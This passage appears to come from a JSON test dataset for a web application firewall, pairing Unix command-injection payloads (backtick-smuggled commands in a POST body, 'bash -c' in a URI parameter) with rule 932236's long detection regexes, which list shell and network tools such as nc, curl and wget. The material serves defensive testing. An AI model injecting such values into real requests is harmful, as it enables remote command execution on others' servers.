s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Unix command injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=`cut crs312``dig 34test`" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\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l|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))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$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Unix command injection" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932236-1=bash%20-c%20%22echo%20test%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\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[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn